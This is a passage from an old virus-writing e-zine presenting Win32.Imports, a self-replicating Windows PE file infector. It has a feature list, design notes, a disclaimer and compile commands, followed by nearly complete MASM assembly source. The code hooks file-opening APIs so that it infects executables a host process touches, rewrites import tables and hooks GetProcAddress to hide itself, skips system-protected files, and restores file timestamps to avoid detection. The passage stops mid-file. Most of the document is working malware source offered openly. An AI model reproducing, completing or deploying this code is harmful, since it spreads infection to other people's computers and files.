COMMENT ` ---------------------------------------------------------------- )=- -=( Natural Selection Issue #1 ----------------------------- Win32.Imports )=- -=( ---------------------------------------------------------------------- )=- -=( 0 : Win32.Imports Features ------------------------------------------- )=- Imports: Locates LoadLibraryA and GetProcAddress, if they don't exist then it will find two strings long enough, then copies them to the virus and overwrites the entries in the Import Table with our own. Infects: PE files with any extension, without setting write bit Strategy: Per-Process residency, it will infect any files opened using CreateFileA/CreateFileW by the host. We've also hooked GetProcAddress to hide ourself. Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files Saves Stamps: Yes MultiThreaded: No Polymorphism: None AntiAV / EPO: None SEH Abilities: None Payload: None -=( 1 : Win32.Imports Design Goals --------------------------------------- )=- : To test an implementation of MASMs type checking on API and PROC calls. : To place all virus data into one structure that can be moved around in memory so that the virus is outside of the hosts normal memory area. : To be per process and hook file API to locate infectable files. : To overwrite strings in the Import Table to import needed API and then overwrite with the original API values. Doesn't need files to import a GetProcAddress / LoadLibraryA to infect them properly. But still, does not do manual Kernel32.DLL scanning. It took 2 - 3 weeks of coding time, and 2/3 of that was in rewriting the Import Table code over and over again to make it work. By the time that it all worked, it was easy to pick a name, Win32.Imports. -=( 2 : Win32.Imports Design Faults -------------------------------------- )=- Its structure is horrible. When it was finished, I realised you could use VirtualProtect API to make section data writeable, and so all of the code based around moving the virus in memory is a waste of time. It does, however, infect PE Headers perfectly in all PE files, and doesn't even need to check for .EXE extensions, so it should infect .CPL and other PE files as well. Rather than spend time rewriting it to be more streamlined, it's better to design a new virus from the ground up that does what you want. -=( 3 : Win32.Imports Disclaimer ----------------------------------------- )=- THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM, YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY. COPYRIGHT Copyright on materials in this magazine and the information therein and their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated. RIGHTS AND LIMITATIONS You have the right to use, copy and distribute the material in this magazine free of charge, for all purposes allowed by your governing laws. You are expressly PROHIBITED from using the material contained herein for any purposes that would cause or would help promote the illegal use of the material. NO WARRANTY The information contained within this magazine are provided "as is". FEATHERED SERPENTS do not warranty the accuracy, adequacy, or completeness of given information, and expressly disclaims liability for errors or omissions contained therein. No implied, express, or statutory warranty, is given in conjunction with this magazine. LIMITATION OF LIABILITY In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any damages including and without limitation, direct or indirect, special, incidental, or consequential damages, losses, or expenses arising in connection with this magazine, or the use thereof. ADDITIONAL DISCLAIMER Computer viruses will spread of their own accord between computer systems, and across international boundaries. They are raw animals with no concern for the law, and for that reason your possession of them makes YOU responsible for the actions they carry out. The viruses provided in this magazine are for educational purposes ONLY. They are NOT intended for use in ANY WAY outside of strict, controlled laboratory conditions. If compiled and executed these viruses WILL land you in court(s). You will be held responsible for your actions. As source code these viruses are inert and covered by implied freedom of speech laws in some countries. In binary form these viruses are malicious weapons. FEATHERED SERPENTS do not condone the application of these viruses and will NOT be held LIABLE for any MISUSE. -=( 4 : Win32.Imports Compile Instructions ------------------------------- )=- MASM 6.15 and LINK 6.00.8447 ml /c /Cp /coff /Fl /Zi Imports.asm link /debug /debugtype:cv /subsystem:windows Imports.obj -=( 5 : Win32.Imports ---------------------------------------------------- ) ` .386p ; 386 opcodes .model flat,stdcall ; Written for flat Win32 option casemap:none ; Use mixed case symbols include masmwinc.inc ; Win32 constant symbols includelib c:\masm32\lib\kernel32.lib ; First-run imported API CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD CloseHandle PROTO :DWORD ExitProcess PROTO :DWORD LoadLibraryA PROTO :DWORD GetProcAddress PROTO :DWORD, :DWORD VirtualAlloc PROTO :DWORD, :DWORD, :DWORD, :DWORD ; We'll drop ourselves into a file that can do CreateFileA/CreateFileW easily Host SEGMENT 'CODE' HostFile DW 'C', 'M', 'D', '.', 'E', 'X', 'E', 0 Exitpoint PROC INVOKE CreateFileW, ADDR HostFile, GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 .IF (eax != INVALID_HANDLE_VALUE) INVOKE CloseHandle, eax .ENDIF INVOKE ExitProcess, NULL ; These are not called, only imported for the virus, and yes they like to ; crash when given bad values ;) call LoadLibraryA call GetProcAddress call VirtualAlloc Exitpoint ENDP Host ENDS ; ============================================================================= ; ( Procedure Layout ) ======================================================== ; ============================================================================= ; Also, INVOKE needs PROTOs to reference PROCs that are at the end of the file. Exitpoint PROTO Entrypoint PROTO LoadsFile PROTO :PTR VX,:DWORD CheckFile PROTO :PTR VX,:DWORD WriteFile PROTO :PTR VX,:DWORD SetupImports PROTO :PTR VX,:DWORD, :DWORD ConvertAlign PROTO :DWORD, :DWORD ConvertToRaw PROTO :DWORD, :DWORD AlternateSfcIsFileProtected PROTO :DWORD, :DWORD AlternateCheckSumMappedFile PROTO :DWORD, :DWORD, :DWORD, :DWORD HookGetProcAddress PROTO :DWORD, :DWORD HookCreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD HookCreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD ; ============================================================================= ; ( Constants ) =============================================================== ; ============================================================================= ; We avoid files with bad attributes. Buffer_Size is for storing strings we've ; overwritten in the Import Table, Hooks Count is how many API we have in our ; Hooking Table. P_'s are RVA Pointers to locations inside our 1st Gen Host. AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_SPARSE_FILE OR \ FILE_ATTRIBUTE_REPARSE_POINT OR FILE_ATTRIBUTE_OFFLINE OR \ FILE_ATTRIBUTE_COMPRESSED OR FILE_ATTRIBUTE_ENCRYPTED BUFFER_SIZE EQU 20H HOOKS_COUNT EQU 3 P_HOSTS EQU 3000H + (Exitpoint - HostFile) P_VIRUS EQU 5000H P_LOADLIBRARYA EQU 8078H P_GETPROCADDRESS EQU 807CH P_CREATEFILEW EQU 8084H ; ============================================================================ ; ( Virus Macros ) =========================================================== ; ============================================================================ ; DESCRIBE splits long API strings from me into useable units of information :P ; tAPI TypeDef for this API for Parameter Checking ; mAPI Preconstructed MACRO for API, limited only to a few built ones ; bAPI [OPTIONAL] Buffer for stolen API Strings ; lAPI [OPTIONAL] Length of sAPI, ONLY useable on GetProc/LoadLibraryA ; pAPI Final API VA, or API RVA for GetProc/LoadLibraryA at Entrypoint ; sAPI API String ; DO_API is a wrapper for INVOKE that stops registers except EAX from changing. ; LOCATE is a small clean way to get Delta Offset into EDX DESCRIBE MACRO NAME:REQ, COUNT:REQ, VALUE:=<0>, PARAMETERS, STACK, FINISH LOCAL T_LIST, S_SIZE T_LIST TEXTEQU <TYPEDEF PROTO> REPEAT (COUNT - 1) T_LIST CATSTR T_LIST, < :DWORD, > ENDM t&NAME &T_LIST :DWORD m&NAME MACRO PARAMETERS DO_API t&NAME PTR [edx][VX.p&NAME], STACK &FINISH ENDM S_SIZE SIZESTR <&NAME> IF &VALUE b&NAME DB '&NAME' DB (BUFFER_SIZE - S_SIZE) DUP (0) l&NAME DD S_SIZE + 2 ENDIF p&NAME DD &VALUE s&NAME DB '&NAME', 0 ALIGN 2 ENDM DO_API MACRO PARAMETERS:VARARG PUSHAD INVOKE &PARAMETERS MOV [ESP+1CH], EAX POPAD ENDM LOCATE MACRO CALL @F @@: POP EDX SUB EDX, (($ - 1) - Virus_Data) ENDM ; ============================================================================ ; ( Main Data Structure ) ==================================================== ; ============================================================================ ; VX is used for all of the main data, and LVX a small version just for loadup. VX STRUCT DWORD ; RVA of VX Structure inside Host, and RVA of Host's Original Entrypoint SectionEntrypoint DD P_VIRUS HostEntrypoint DD P_HOSTS FileAttributes DD 0 FileCreationTime FILETIME {} FileLastAccessTime FILETIME {} FileLastWriteTime FILETIME {} FileSize DD 0 ; RVA of Kernel32.DLL Import Table so we can clear Binding in WriteFile. BoundImport DD 0 ; RVA of the Section we will end up in, and its Size. ThunkArrayRVA is ; used in SetupImports to track the FirstThunk entry of API in a loop. LastSection DD 0 SizeSection DD 0 ThunkArrayRVA DD 0 ; Our base API Data Table. Imagine if I didn't have MACRO and had to split ; this across more than one line each! ; Name, Count, Value, Macro Setup, Macro Parameters, Macro Finish DESCRIBE CheckSumMappedFile, 4 DESCRIBE CloseHandle, 1 DESCRIBE CompareStringA, 6, , <STRING1, STRING2>, <LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, STRING2, -1>, <cmp eax, 2> DESCRIBE CreateFileA, 7, , <NAME>, <NAME, GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 > DESCRIBE CreateFileW, 7 DESCRIBE CreateFileMappingA, 6, , <HANDLE, FILESIZE>, <HANDLE, 0, PAGE_READWRITE, 0, FILESIZE, 0> DESCRIBE ExitProcess, 1 DESCRIBE GetFileSize, 2 DESCRIBE GetFileTime, 4 DESCRIBE GetFileType, 1 DESCRIBE GetFileAttributesA, 1 DESCRIBE GetProcAddress, 2, P_GETPROCADDRESS DESCRIBE LoadLibraryA, 1, P_LOADLIBRARYA DESCRIBE MapViewOfFile, 5, , <HANDLE>, <HANDLE, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL> DESCRIBE SetFileAttributesA, 2 DESCRIBE SetFileTime, 4 DESCRIBE SfcIsFileProtected, 2 DESCRIBE UnmapViewOfFile, 1 DESCRIBE WideCharToMultiByte, 8 DESCRIBE VirtualAlloc, 4 DESCRIBE VirtualProtect, 4 UsedKernel DB 'KERNEL32.DLL', 0 UsedImage DB 'IMAGEHLP.DLL', 0 UsedSFC DB 'SFC.DLL', 0 ; Our Table of API we need to import. ExitProcess and VirtualAlloc are now ; excluded, as they're not used past Entrypoint which uses them directly. ; Pointer to our Pointer, Pointer to DLL, Pointer to Alternate Routine UsedAPI DD VX.pCheckSumMappedFile, VX.UsedImage, AlternateCheckSumMappedFile - Virus_Data DD VX.pCloseHandle, VX.UsedKernel, NULL DD VX.pCompareStringA, VX.UsedKernel, NULL DD VX.pCreateFileA, VX.UsedKernel, NULL DD VX.pCreateFileW, VX.UsedKernel, NULL DD VX.pCreateFileMappingA, VX.UsedKernel, NULL ;D VX.pExitProcess, VX.UsedKernel, NULL DD VX.pGetFileAttributesA, VX.UsedKernel, NULL DD VX.pGetFileSize, VX.UsedKernel, NULL DD VX.pGetFileTime, VX.UsedKernel, NULL DD VX.pGetFileType, VX.UsedKernel, NULL DD VX.pGetProcAddress, VX.UsedKernel, NULL DD VX.pLoadLibraryA, VX.UsedKernel, NULL DD VX.pMapViewOfFile, VX.UsedKernel, NULL DD VX.pSetFileAttributesA, VX.UsedKernel, NULL DD VX.pSetFileTime, VX.UsedKernel, NULL DD VX.pSfcIsFileProtected, VX.UsedSFC, AlternateSfcIsFileProtected - Virus_Data DD VX.pUnmapViewOfFile, VX.UsedKernel, NULL ;D VX.pVirtualAlloc, VX.UsedKernel, NULL ;D VX.pVirtualProtect, VX.UsedKernel, NULL DD VX.pWideCharToMultiByte, VX.UsedKernel, NULL DD NULL ; Our Table of API we want to hook, and corresponding routines in our code. ; RVA into Import Table, Replacement Address, Pointer to our Pointer HookAPI DD NULL, HookCreateFileA - Virus_Data, VX.pCreateFileA DD P_CREATEFILEW, HookCreateFileW - Virus_Data, VX.pCreateFileW DD P_GETPROCADDRESS, HookGetProcAddress - Virus_Data, VX.pGetProcAddress ; Not really necessary, but don't want to take it out and forget later why ; everything crashes if I ever wanted to push a structure onto a stack :P DB 0, 'Win32.Imports', 0 ALIGN 4 VX ENDS LVX STRUCT DWORD ImageBase DD 0 KernelHandle DD 0 pExitProcess DD 0 pLoadLibraryA DD 0 pGetProcAddress DD 0 pVirtualProtect DD 0 ProtectedArea DD 0 OldProtection DD 0 LVX ENDS ; ============================================================================= ; ( Entrypoint and Setup ) ==================================================== ; ============================================================================= Virus SEGMENT 'CODE' Virus_Data VX {} WinMain: ; Save a NULL on the stack which we will turn into a VA and RET to later push NULL Entrypoint PROC LOCAL VD:LVX ; Save the registers, so programs don't crash! Calculate our ImageBase. ; EDX = Start Virus, EAX = Start Image. pushad pushfd LOCATE mov eax, edx sub eax, [edx][VX.SectionEntrypoint] ; Save VAs of GetProcAddress/LoadLibraryA Pointers, then steal the VA of ; the API themselves. ; ESI = GetProcAddress API, EDI = LoadLibraryA API mov esi, [edx][VX.pGetProcAddress] lea ebx, [eax][esi ] push ebx mov esi, [ebx ] mov edi, [edx][VX.pLoadLibraryA ] lea ebx, [eax][edi ] push ebx mov edi, [ebx ] ; Save values into our stack structure, and overwrite the NULL we stored ; on the stack at Entrypoint, with the the return VA of the Host. mov [VD.pGetProcAddress], esi mov [VD.pLoadLibraryA], edi mov [VD.ImageBase], eax add eax, [edx][VX.HostEntrypoint] mov [ebp][4], eax ; Save handle of Kernel32.DLL, plus ExitProcess and VirtualProtect VA's. DO_API tLoadLibraryA PTR edi, ADDR [edx][VX.UsedKernel] mov [VD.KernelHandle], eax DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sExitProcess] mov [VD.pExitProcess], eax DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sVirtualProtect] mov [VD.pVirtualProtect], eax ; Make the Import Table writeable, then calculate stolen API and fix up. pop edi mov [VD.ProtectedArea], edi DO_API tVirtualProtect PTR [VD.pVirtualProtect], edi, 4, PAGE_EXECUTE_READWRITE, ADDR [VD.OldProtection] DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.bLoadLibraryA] test eax, eax jz WinFail stosd pop edi DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.bGetProcAddress] test eax, eax jz WinFail stosd ; Move the virus into memory, and return to the Host if none is available. mov ecx, Virus_Size DO_API tGetProcAddress PTR esi, [VD.KernelHandle], ADDR [edx][VX.sVirtualAlloc] DO_API tVirtualAlloc PTR eax, NULL, ecx, MEM_COMMIT OR MEM_RESERVE, PAGE_EXECUTE_READWRITE .IF (eax == NULL) jmp WinExit .ELSE lea esi, [edx] lea edi, [eax] shr ecx, 2 cld rep movsd lea edx, [eax] .ENDIF ; Now that we can start writing to our data section, it's time to parse ; our UsedAPI list. RVAs are relative to VX. ; Format: RVA of our storage and ASCIIZ -- Or NULL [End of Table] ; RVA to DLL Name for this Import ; RVA of Alternate Internal API lea esi, [edx][VX.UsedAPI] .WHILE TRUE ; Abort if this entry marks the end of the table. Otherwise get it ; ready to write the final API address to. Load the next value as ; it's the RVA of the DLL Name. lodsd .BREAK .IF (eax == NULL) lea edi, [edx][eax] lea ebx, [edx][eax][4] lodsd ; Get the API's address DO_API tLoadLibraryA PTR [VD.pLoadLibraryA], ADDR [edx][eax] DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx ; Overwrite our Internal Entry with the API and load the Alternate ; API RVA just in case. If the API wasn't found and there is no ; Alternate Entry, then we abort immediately. Otherwise convert ; it to a VA and save it as the Internal Entry instead. stosd or eax, eax lodsd .IF (ZERO?) .IF (eax == NULL) jmp WinFail .ENDIF lea eax, [edx][eax] mov [edi][-4], eax .ENDIF .ENDW ; Our last stage of setup is to hook all of the hookable API that the ; host uses ; Format: RVA of Import Address to Overwrite ; RVA relative to VX of our Hook API ; RVA of VX.pName lea esi, [edx][VX.HookAPI] mov ecx, HOOKS_COUNT .REPEAT ; First entry is RVA of Import Address Table Entry. Second entry ; is the RVA of our Hook Procedure. Third entry is only used in ; setting up the HookAPI. lodsd .IF (eax == NULL) lodsd .ELSE add eax, [VD.ImageBase] mov edi, eax lodsd lea eax, [edx][eax] stosd .ENDIF lodsd .UNTILCXZ WinExit: ; Restore section attributes. mov edi, [VD.ProtectedArea] DO_API tVirtualProtect PTR [VD.pVirtualProtect], edi, 4, [VD.OldProtection], ADDR [VD.OldProtection] ; Everything is AOK, we'll leave the virus and return to the Host, but ; we've already hooked it's API and will be called into action soon :) popfd popad ret WinFail: ; Something went terribly wrong and the Host is probably a trap, so we ; exit as quickly as possible and don't let it execute. INVOKE tExitProcess PTR [VD.pExitProcess], -1 Entrypoint ENDP ; ============================================================================= ; ( Control Center ) ========================================================== ; ============================================================================= LoadsFile PROC VD:PTR VX, FILENAME:DWORD ; Make sure the files are not protected under Win2K File Protection :| mov edx, [VD] mov esi, [FILENAME] DO_API tSfcIsFileProtected PTR [edx][VX.pSfcIsFileProtected], NULL, esi test eax, eax jnz LoadsExit ; Avoid files with certain attributes, and if they are read only or if ; they are system, zero these attributes temporarily. We only change ; attributes if absolutely necessary, less logs, and heuristics, okay? DO_API tGetFileAttributesA PTR [edx][VX.pGetFileAttributesA], esi cmp eax, INVALID_HANDLE_VALUE je LoadsExit mov [edx][VX.FileAttributes], eax test eax, AVOIDED_FILES jnz LoadsExit test eax, FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM .IF !(ZERO?) DO_API tSetFileAttributesA PTR [edx][VX.pSetFileAttributesA], esi, FILE_ATTRIBUTE_NORMAL test eax, eax jz LoadsExit .ENDIF ; Open our file. All opens are done in read-write mode as it saves me ; from having to mess around. Save the time stamps straight away. mCreateFileA esi cmp eax, INVALID_HANDLE_VALUE je LoadsExitAttributes push eax mov ebx, eax DO_API tGetFileTime PTR [edx][VX.pGetFileTime], ebx, ADDR [edx][VX.FileCreationTime], ADDR [edx][VX.FileLastAccessTime], ADDR [edx][VX.FileLastWriteTime] test eax, eax jz LoadsExitClose push ebx ; Check the file size, don't Loads files that are too small or too big. ; Too small = Below 16K. Too big = Above 1G. DO_API tGetFileSize PTR [edx][VX.pGetFileSize], ebx, NULL cmp eax, 000004000H jb LoadsExitTimes cmp eax, 040000000H ja LoadsExitTimes mov [edx][VX.FileSize], eax ; Make sure this is a disk file and not some other handle we've opened!! DO_API tGetFileType PTR [edx][VX.pGetFileType], ebx cmp eax, FILE_TYPE_DISK jne LoadsExitTimes ; Turn the file handle into a mapping handle, and map a view into memory mCreateFileMappingA ebx, NULL test eax, eax jz LoadsExitTimes push eax mMapViewOfFile eax cmp eax, INVALID_HANDLE_VALUE je LoadsExitMap push eax ; Run checks on the file and fill in virus information fields so that we ; can infect it if we want. We *DON'T* modify anything at this stage so ; if something goes wrong, the file is still in its original state. DO_API CheckFile, edx, eax test eax, eax jz LoadsExitView ; Close our View and Map, then recreate the file bigger so the virus can ; fit inside. We don't know how much extra space the virus will take, ; until after PrepareFile, where it's had a chance to look at FileAlign. pop ebx DO_API tUnmapViewOfFile PTR [edx][VX.pUnmapViewOfFile], ebx pop ebx DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx ; Turn the file handle into a mapping handle, and map a view into memory pop ebx push ebx mCreateFileMappingA ebx, [edx][VX.FileSize] test eax, eax jz LoadsExitTimes push eax mMapViewOfFile eax cmp eax, INVALID_HANDLE_VALUE jz LoadsExitMap push eax ; With everything prepared, now we write ourselves to the our new host :) DO_API WriteFile, edx, eax LoadsExitView: ; Close a View pop ebx DO_API tUnmapViewOfFile PTR [edx][VX.pUnmapViewOfFile], ebx LoadsExitMap: ; Close a Map pop ebx DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx LoadsExitTimes: ; Restore Time Stamps pop ebx DO_API tSetFileTime PTR [edx][VX.pSetFileTime], ebx, ADDR [edx][VX.FileCreationTime], ADDR [edx][VX.FileLastAccessTime], ADDR [edx][VX.FileLastWriteTime] LoadsExitClose: ; Close a Handle pop ebx DO_API tCloseHandle PTR [edx][VX.pCloseHandle], ebx LoadsExitAttributes: ; Restore Attributes only if they've been changed test [edx][VX.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM jz LoadsExit DO_API tSetFileAttributesA PTR [edx][VX.pSetFileAttributesA], [FILENAME], [edx][VX.FileAttributes] LoadsExit: ; Finally, we can exit! ret LoadsFile ENDP ; ============================================================================= ; ( Prepare File For Infection ) ============================================== ; ============================================================================= CheckFile PROC VD:PTR VX, FILEHANDLE:DWORD ; We are mainly concerned with looping through the Imports and Sections ; gathering data, so first, we clear out our Import storage areas xor eax, eax mov edx, [VD ] mov [edx][VX.pLoadLibraryA ], eax mov [edx][VX.pGetProcAddress], eax lea edi, [edx][VX.HookAPI ] mov ecx, HOOKS_COUNT .REPEAT stosd add edi, 8 .UNTILCXZ mov edi, [FILEHANDLE] ; Check if the file is already infected [DOS Checksum = -1], and load up ; the PE Header, running it for basic Win32 Intel PE checks. cmp [edi][IMAGE_DOS_HEADER.e_csum], -1 je CheckFail cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE jne CheckFail add edi, [edi][IMAGE_DOS_HEADER.e_lfanew] cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE jne CheckFail cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386 jne CheckFail test [edi][PE.Characteristics], IMAGE_FILE_EXECUTABLE_IMAGE jz CheckFail test [edi][PE.Characteristics], IMAGE_FILE_DLL jnz CheckFail cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER jne CheckFail cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC jne CheckFail cmp [edi][PE.SizeOfHeaders], 0 je CheckFail cmp [edi][PE.NumberOfRvaAndSizes], 2 jb CheckFail ; Begin a loop through our Import Table, searching for a Kernel32.DLL mov eax, [edi][PE.DataDirectory.Import.RVA] mov [edx][VX.BoundImport ], eax DO_API ConvertToRaw, [FILEHANDLE], eax test eax, eax jz CheckFail mov esi, eax .WHILE TRUE ; Abort if it's the end of the table, otherwise string compare DO_API ConvertToRaw, [FILEHANDLE], [esi][IMPORT.Names] test eax, eax jz CheckFail mCompareStringA ADDR [edx][VX.UsedKernel], eax .BREAK .IF (ZERO?) add [edx][VX.BoundImport], SIZE IMPORT add esi, SIZE IMPORT .ENDW ; Set up all of our Import Information, and save the RVA of this Import DO_API SetupImports, [VD], [FILEHANDLE], esi test eax, eax jz CheckFail ; Make sure that at least one Hook has been fulfilled, otherwise if we ; infect, it's a waste of time :| lea esi, [edx][VX.HookAPI] mov ecx, HOOKS_COUNT .REPEAT cmp dword ptr [esi], 0 jnz @F add esi, 12 .UNTILCXZ jmp CheckFail @@: ; Scan through the section table until we locate the section with ; the highest RVA. Then we make sure it has a physical location. movzx ecx, [edi][PE.NumberOfSections ] add di, [edi][PE.SizeOfOptionalHeader ] adc edi, PE.Magic xor eax, eax .REPEAT cmp [edi][SECTION.VirtualAddress], eax .IF !(CARRY?) mov eax, [edi][SECTION.VirtualAddress] mov esi, edi .ENDIF add edi, SIZE SECTION .UNTILCXZ ; Save the RVA of the our Section for us to twiddle with in WriteFile. mov edi, esi sub esi, [FILEHANDLE] mov [edx][VX.LastSection], esi mov esi, [FILEHANDLE] add esi, [esi][IMAGE_DOS_HEADER.e_lfanew ] ; Sections are allocated memory up to PE.SectionAlignment, so we want ; to place the virus after that, and ALSO skip past any overlay data ; that's at the end of the PE and not in any sections. ; 1. How big is the Section's memory allocation? mov eax, [edi][SECTION.VirtualSize] cmp eax, [edi][SECTION.SizeOfRawData] ja @F mov eax, [edi][SECTION.SizeOfRawData] @@: DO_API ConvertAlign, [esi][PE.SectionAlignment], eax ; 2. How big is the file minus File Section, plus Memory Section? mov ebx, eax DO_API ConvertAlign, [esi][PE.FileAlignment], [edi][SECTION.SizeOfRawData] test eax, eax jz CheckFail add eax, [edx][VX.FileSize] sub eax, ebx ; 3. If the file is bigger than it would be, we have lots of overlay ; data, so base our start-of-virus value to be AFTER that. cmp eax, [edx][VX.FileSize] ja @F mov eax, [edx][VX.FileSize] @@: sub eax, [edi][SECTION.PointerToRawData] push eax add eax, [edi][SECTION.VirtualAddress ] mov [edx][VX.SectionEntrypoint], eax pop eax ; Now save the Section size [yes, we only need to FileAlign it], and ; of course the total size of the file. add eax, Virus_Size DO_API ConvertAlign, [esi][PE.FileAlignment], eax mov [edx][VX.SizeSection], eax add eax, [edi][SECTION.PointerToRawData] mov [edx][VX.FileSize], eax mov eax, -1 jmp CheckExit CheckFail: xor eax, eax CheckExit: ret CheckFile ENDP ; ============================================================================= ; ( Write Host ) ============================================================== ; ============================================================================= WriteFile PROC VD:PTR VX, FILEHANDLE:DWORD ; Set our infection marker | EDX = VD | EDI = PE | ESI = SECTION mov edx, [VD] mov edi, [FILEHANDLE] mov [edi][IMAGE_DOS_HEADER.e_csum], -1 mov esi, [edx][VX.LastSection] lea esi, [edi][esi] add edi, [edi][IMAGE_DOS_HEADER.e_lfanew] push edi ; Update SizeOfImage field, and then update with correct Section fields mov eax, [esi][SECTION.VirtualSize ] cmp eax, [esi][SECTION.SizeOfRawData ] ja @F mov eax, [esi][SECTION.SizeOfRawData ] @@: DO_API ConvertAlign, [edi][PE.SectionAlignment], eax sub [edi][PE.SizeOfImage], eax mov ebx, [edx][VX.SizeSection] add [edi][PE.SizeOfImage], ebx mov [esi][SECTION.VirtualSize ], ebx mov [esi][SECTION.SizeOfRawData], ebx or [esi][SECTION.Characteristics], IMAGE_SCN_MEM_READ and [esi][SECTION.Characteristics], NOT IMAGE_SCN_MEM_DISCARDABLE ; Update SizeOfCode/SizeOfInitializedData/SizeOfUninitializedData field test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_CODE .IF !(ZERO?) sub [edi][PE.SizeOfCode], eax add [edi][PE.SizeOfCode], ebx .ENDIF test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA .IF !(ZERO?) sub [edi][PE.SizeOfInitializedData], eax add [edi][PE.SizeOfInitializedData], ebx .ENDIF test [esi][SECTION.Characteristics], IMAGE_SCN_CNT_UNINITIALIZED_DATA .IF !(ZERO?) sub [edi][PE.SizeOfUninitializedData], eax add [edi][PE.SizeOfUninitializedData], ebx .ENDIF ; Force Win32 to do RunTime Binding ; [Extra 2 MOVs I don't think are necessary, so I left them out for now] ; mov [edi][PE.DataDirectory.BoundImport.RVA], 0 ; mov [edi][PE.DataDirectory.BoundImport.Sizes], 0 DO_API ConvertToRaw, [FILEHANDLE ], [edx][VX.BoundImport] mov [eax][IMPORT.TimeDateStamp], 0 ; Save and set the PE Entrypoint mov ebx, [edx][VX.SectionEntrypoint ] push ebx add ebx, SIZE VX xchg [edi][PE.AddressOfEntryPoint], ebx mov [edx][VX.HostEntrypoint], ebx pop ebx ; Write the virus to the file, finally! DO_API ConvertToRaw, [FILEHANDLE], ebx mov esi, edx mov edi, eax mov ecx, Virus_Size / 4 cld rep movsd ; Do the checksums, one of which is pointing to a junk area pop edi DO_API tCheckSumMappedFile PTR [edx][VX.pCheckSumMappedFile], [FILEHANDLE], [edx][VX.FileSize], ADDR [edx][VX.LastSection], ADDR [edi][PE.CheckSum] ret WriteFile ENDP ; ============================================================================= ; ( Scan Imports ) ============================================================ ; ============================================================================= SetupImports PROC VD:PTR VX, FILEHANDLE:DWORD, TABLE:DWORD ; Switch between the Thunk Tables for Inprise/Microsoft compatability mov edx, [VD] mov esi, [TABLE] mov eax, [esi][IMPORT.OriginalFirstThunk] test eax, eax jnz @F mov eax, [esi][IMPORT.FirstThunk] @@: DO_API ConvertToRaw, [FILEHANDLE], eax test eax, eax jz SetupImportsExit ; Begin the loop, which skips Ordinal entry and WENDs on a NULL entry mov esi, eax xor ecx, ecx .WHILE TRUE lodsd test eax, eax .IF !(SIGN?) DO_API ConvertToRaw, [FILEHANDLE], eax .BREAK .IF (eax == 0) push esi push ecx lea esi, [eax][2] ; Store the RVA of the associated FirstThunk entry, so we ; can located the Imported API VA during execution, if we ; need it [if this entry is a Hook/Used API] mov eax, [TABLE] mov eax, [eax][IMPORT.FirstThunk] lea eax, [eax][ecx * 4] mov [edx][VX.ThunkArrayRVA], eax ; Firstly, loop through and save details if this entry is ; Hookable. Note some API are Hooked and Used, so we do ; keep looping even if the API matches. lea ebx, [edx][VX.HookAPI] mov ecx, HOOKS_COUNT .REPEAT mov edi, [ebx][8] mCompareStringA ADDR [edx][edi][4], esi .IF (ZERO?) push [edx][VX.ThunkArrayRVA] pop [ebx] .ENDIF add ebx, 12 .UNTILCXZ ; Secondly, loop through, always overwrite previously saved ; 'possible replacement' information with perfect matches. lea ebx, [edx][VX.sLoadLibraryA] mCompareStringA ebx, esi je SetupImportsStore lea ebx, [edx][VX.sGetProcAddress] mCompareStringA ebx, esi je SetupImportsStore ; Calculate the string size and the 'possible replacement'. xor eax, eax mov eax, esi @@: inc eax cmp byte ptr [eax][-1], 0 jne @B sub eax, esi .IF (eax < BUFFER_SIZE) .IF (eax > 16) cmp [edx][VX.pGetProcAddress], 0 je SetupImportsStore .ENDIF .IF (eax > 14) lea ebx, [edx][VX.sLoadLibraryA] cmp [edx][VX.pLoadLibraryA], 0 .IF (ZERO?) SetupImportsStore: mov [ebx][- (BUFFER_SIZE + 8)], esi push [edx][VX.ThunkArrayRVA] pop [ebx][-4] .ENDIF .ENDIF .ENDIF pop ecx pop esi .ENDIF inc ecx .ENDW ; Loop through twice, copying import address string into the virus, and ; the virus string over the original. Make eax nonzero, if all's okay. lea edi, [edx][VX.bLoadLibraryA] xor ebx, ebx @@: cmp dword ptr [edi][BUFFER_SIZE][4], 0 je SetupImportsExit mov esi, [edi] push esi mov ecx, BUFFER_SIZE cld rep movsb lea esi, [edi][8] mov ecx, [edi] pop edi rep movsb lea edi, [edx][VX.bGetProcAddress] dec ebx jpe @B dec eax SetupImportsExit: ret SetupImports ENDP ; ============================================================================= ; ( Align to 